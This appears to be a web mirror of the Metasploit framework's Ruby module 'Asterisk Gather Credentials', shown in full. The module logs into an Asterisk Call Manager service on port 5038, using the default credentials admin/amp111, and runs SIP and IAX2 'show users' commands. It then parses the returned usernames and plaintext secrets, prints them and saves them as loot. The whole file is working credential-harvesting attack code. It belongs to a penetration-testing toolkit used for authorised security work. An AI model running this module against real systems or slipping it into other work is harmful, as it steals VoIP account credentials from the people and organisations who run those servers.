Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/asterisk_creds.rb
19593 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Asterisk Gather Credentials',
15
'Description' => %q{
16
This module retrieves SIP and IAX2 user extensions and credentials from
17
Asterisk Call Manager service. Valid manager credentials are required.
18
},
19
'Author' => 'bcoles',
20
'References' => [
21
['URL', 'http://www.asterisk.name/sip1.html'],
22
['URL', 'http://www.asterisk.name/iax2.html'],
23
['URL', 'https://www.voip-info.org/wiki/view/Asterisk+manager+API'],
24
['URL', 'https://www.voip-info.org/wiki-Asterisk+CLI']
25
],
26
'License' => MSF_LICENSE,
27
'Notes' => {
28
'Reliability' => UNKNOWN_RELIABILITY,
29
'Stability' => UNKNOWN_STABILITY,
30
'SideEffects' => UNKNOWN_SIDE_EFFECTS
31
}
32
)
33
)
34
register_options [
35
Opt::RPORT(5038),
36
OptString.new('USERNAME', [true, 'The username for Asterisk Call Manager', 'admin']),
37
OptString.new('PASSWORD', [true, 'The password for the specified username', 'amp111'])
38
]
39
end
40
41
def run
42
vprint_status 'Connecting...'
43
44
connect
45
banner = sock.get_once
46
47
unless banner =~ %r{Asterisk Call Manager/([\d\.]+)}
48
fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running'
49
end
50
51
print_status "Found Asterisk Call Manager version #{$1}"
52
53
unless login
54
fail_with Failure::NoAccess, 'Authentication failed'
55
end
56
57
print_good 'Authenticated successfully'
58
59
@users = []
60
retrieve_users 'sip'
61
retrieve_users 'iax2'
62
63
if @users.empty?
64
print_error 'Did not find any users'
65
return
66
end
67
68
print_status "Found #{@users.length} users"
69
70
cred_table = Rex::Text::Table.new 'Header' => 'Asterisk User Credentials',
71
'Indent' => 1,
72
'Columns' => ['Username', 'Secret', 'Type']
73
74
@users.each do |user|
75
cred_table << [
76
user['username'],
77
user['password'],
78
user['type']
79
]
80
report_cred user: user['username'],
81
password: user['password'],
82
proof: "#{user['type']} show users"
83
end
84
85
print_line
86
print_line cred_table.to_s
87
88
p = store_loot 'asterisk.user.creds',
89
'text/csv',
90
rhost,
91
cred_table.to_csv,
92
'Asterisk User Credentials'
93
94
print_good "Credentials saved in: #{p}"
95
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
96
print_error e.message
97
ensure
98
disconnect
99
end
100
101
private
102
103
def username
104
datastore['USERNAME']
105
end
106
107
def password
108
datastore['PASSWORD']
109
end
110
111
def report_cred(opts)
112
service_data = {
113
address: rhost,
114
port: rport,
115
service_name: 'asterisk_manager',
116
protocol: 'tcp',
117
workspace_id: myworkspace_id
118
}
119
120
credential_data = {
121
origin_type: :service,
122
module_fullname: fullname,
123
username: opts[:user],
124
private_data: opts[:password],
125
private_type: :password
126
}.merge service_data
127
128
login_data = {
129
core: create_credential(credential_data),
130
status: Metasploit::Model::Login::Status::UNTRIED,
131
proof: opts[:proof]
132
}.merge service_data
133
134
create_credential_login login_data
135
end
136
137
def send_command(cmd = '')
138
sock.put cmd
139
140
res = ''
141
timeout = 15
142
Timeout.timeout(timeout) do
143
res << sock.get_once while res !~ /\r?\n\r?\n/
144
end
145
146
res
147
rescue Timeout::Error
148
print_error "Timeout (#{timeout} seconds)"
149
rescue => e
150
print_error e.message
151
end
152
153
def login
154
vprint_status "Authenticating as '#{username}'"
155
156
req = "action: login\r\n"
157
req << "username: #{username}\r\n"
158
req << "secret: #{password}\r\n"
159
req << "events: off\r\n"
160
req << "\r\n"
161
res = send_command req
162
163
return false unless res =~ /Response: Success/
164
165
report_cred user: username,
166
password: password,
167
proof: 'Response: Success'
168
169
report_service :host => rhost,
170
:port => rport,
171
:proto => 'tcp',
172
:name => 'asterisk'
173
true
174
end
175
176
def retrieve_users(type)
177
vprint_status "Retrieving #{type.upcase} users..."
178
179
req = "action: command\r\n"
180
req << "command: #{type} show users\r\n"
181
req << "\r\n"
182
res = send_command req
183
184
if res =~ /Response: Error/ && res =~ /Message: Permission denied/
185
print_error 'Insufficient privileges'
186
return
187
end
188
189
unless res =~ /Response: Follows/
190
print_error 'Unexpected reply'
191
return
192
end
193
194
# The response is a whitespace formatted table
195
# We're only interested in the first two columns: username and secret
196
# To parse the table, we need the character width of these two columns
197
if res =~ /^(Username\s+)(Secret\s+)/
198
user_len = $1.length
199
pass_len = $2.length
200
else
201
print_error "'#{type} show users' is not supported"
202
return
203
end
204
205
users = res.scan(/^Username\s+Secret.*?\r?\n(.*)--END COMMAND--/m).flatten.first
206
207
if users.blank?
208
print_error "Did not find any #{type.upcase} users"
209
return
210
else
211
print_status "Found #{type.upcase} users"
212
end
213
214
users.each_line do |line|
215
line.chomp!
216
user = line[0...user_len].sub(/\s+$/, '')
217
pass = line[user_len...(user_len + pass_len)].sub(/\s+$/, '')
218
@users << { 'username' => user, 'password' => pass, 'type' => type }
219
end
220
end
221
end
222
223